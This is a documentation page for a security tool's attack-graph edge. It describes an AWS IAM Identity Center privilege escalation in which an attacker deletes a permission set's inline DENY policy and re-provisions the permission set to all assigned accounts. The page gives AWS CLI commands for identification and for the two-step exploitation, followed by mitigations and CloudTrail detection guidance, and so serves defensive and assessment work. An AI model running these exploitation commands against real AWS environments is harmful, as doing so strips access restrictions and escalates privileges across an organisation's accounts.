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# AWS\_SSO\_DELETE\_INLINE\_POLICY

## Summary

|                            |                                                                          |
| -------------------------- | ------------------------------------------------------------------------ |
| **Forestall ACL Alias**    | AWS\_SSO\_DELETE\_INLINE\_POLICY                                         |
| **Affected Object Types**  | `AWSIAMUser\|AWSIAMRole\|AWSIAMGroup → AWSPermissionSet`                 |
| **Exploitation Certainty** | High                                                                     |
| **AWS IAM Action**         | `sso:DeleteInlinePolicyFromPermissionSet` + `sso:ProvisionPermissionSet` |

## Description

> **Account gate:** This edge is only emitted for IAM principals that reside in the Organizations **management account** or an IAM Identity Center **delegated-administrator account** (service principal `sso.amazonaws.com`). Principals in any other member account receive `AccessDenied` from all SSO Admin APIs regardless of their IAM permissions.

An attacker with `sso:DeleteInlinePolicyFromPermissionSet` and `sso:ProvisionPermissionSet` can wipe the inline policy from a target Permission Set and re-provision it across all assigned accounts. When the inline policy contains **explicit DENY statements**, removing it lifts those restrictions and broadens the permissions of every principal holding that Permission Set.

**Edge semantics:** `(Attacker:AWSIAMUser|AWSIAMRole|AWSIAMGroup) -[AWS_SSO_DELETE_INLINE_POLICY]-> (Target:AWSPermissionSet)`

Precondition: the target Permission Set must have at least one account assignment (`poisonablePsGuids`); without an assignment, provisioning has no effect.

## Identification

```bash
# View the inline policy of a permission set
aws sso-admin get-inline-policy-for-permission-set \
  --instance-arn <instance-arn> \
  --permission-set-arn <permission-set-arn>

# Check if the attacker has the required permissions
aws iam simulate-principal-policy \
  --policy-source-arn <attacker-arn> \
  --action-names sso:DeleteInlinePolicyFromPermissionSet sso:ProvisionPermissionSet \
  --resource-arns "*"

# List account assignments
aws sso-admin list-account-assignments \
  --instance-arn <instance-arn> \
  --account-id <account-id> \
  --permission-set-arn <permission-set-arn>
```

## Exploitation

```bash
# Step 1: Delete the inline policy (including any DENY statements) from the permission set
aws sso-admin delete-inline-policy-from-permission-set \
  --instance-arn <instance-arn> \
  --permission-set-arn <permission-set-arn>

# Step 2: Re-provision to push the updated (less restrictive) policy to all accounts
aws sso-admin provision-permission-set \
  --instance-arn <instance-arn> \
  --permission-set-arn <permission-set-arn> \
  --target-type ALL_PROVISIONED_ACCOUNTS
```

## Mitigation

* Restrict `sso:DeleteInlinePolicyFromPermissionSet` and `sso:ProvisionPermissionSet` to dedicated Identity Center administrator roles.
* Use SCPs to block deletion of inline policies on Permission Sets assigned to privileged accounts.
* Don't rely solely on inline DENY policies for permission restriction. Use Permission Boundaries for defense in depth.
* Alert in CloudTrail on `DeleteInlinePolicyFromPermissionSet` events and on any provisioning that follows.
* Audit inline policies across all Permission Sets regularly to catch unauthorized removals early.

## Detection

| CloudTrail Event                      | Description                                         | Key Fields                                                                               |
| ------------------------------------- | --------------------------------------------------- | ---------------------------------------------------------------------------------------- |
| `DeleteInlinePolicyFromPermissionSet` | The inline policy was deleted from a Permission Set | `requestParameters.permissionSetArn`, `userIdentity.arn`                                 |
| `ProvisionPermissionSet`              | The Permission Set was re-provisioned to accounts   | `requestParameters.permissionSetArn`, `requestParameters.targetType`, `userIdentity.arn` |

Alert when `DeleteInlinePolicyFromPermissionSet` is followed by `ProvisionPermissionSet` on the same Permission Set ARN within a short window.

## References

* [HackTricks: AWS SSO & IAM Identity Center Privilege Escalation](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc)
* [AWS SSO Admin API: DeleteInlinePolicyFromPermissionSet](https://docs.aws.amazon.com/singlesignon/latest/APIReference/API_DeleteInlinePolicyFromPermissionSet.html)
* [AWS SSO Admin API: ProvisionPermissionSet](https://docs.aws.amazon.com/singlesignon/latest/APIReference/API_ProvisionPermissionSet.html)
* [AWS IAM Identity Center: Inline policies in permission sets](https://docs.aws.amazon.com/singlesignon/latest/userguide/howtocreatepermissionset.html)